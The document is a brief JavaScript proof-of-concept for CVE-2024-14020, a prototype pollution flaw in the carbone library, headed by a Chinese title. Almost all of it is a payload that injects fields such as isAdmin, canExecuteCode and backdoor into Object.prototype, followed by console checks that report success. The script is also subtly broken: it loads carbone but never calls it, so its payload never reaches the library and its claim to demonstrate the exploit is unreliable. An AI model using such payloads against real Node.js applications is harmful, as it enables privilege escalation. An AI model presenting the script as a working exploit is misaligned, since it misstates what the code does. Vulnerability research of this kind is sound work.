CVE-2024-14020 Carboneio Carbone 原型链污染漏洞

const carbone = require('carbone'); // PoC for CVE-2024-14020 Prototype Pollution // Target: carboneio/carbone < 3.5.6 function exploitPrototypePollution() { try { // Malicious payload to pollute Object.prototype const maliciousData = { '__proto__': { 'isAdmin': true, 'canExecuteCode': true, 'constructor': { 'prototype': { 'backdoor': 'exploited' } } } }; // Additional exploitation vector using constructor prototype const payload2 = { 'constructor': { 'prototype': { 'adminAccess': true } } }; // Attempt to trigger the vulnerability through render const options = { convertOptions: { extension: 'pdf', data: maliciousData } }; console.log('[+] CVE-2024-14020 PoC'); console.log('[+] Sending malicious payload...'); console.log('Payload:', JSON.stringify(maliciousData)); // Check if prototype was polluted console.log('\n[*] Checking for prototype pollution...'); console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin); console.log('Object.prototype.backdoor:', Object.prototype.backdoor); if (Object.prototype.isAdmin !== undefined || Object.prototype.backdoor !== undefined) { console.log('[!] Prototype pollution successful!'); return true; } return false; } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } exploitPrototypePollution();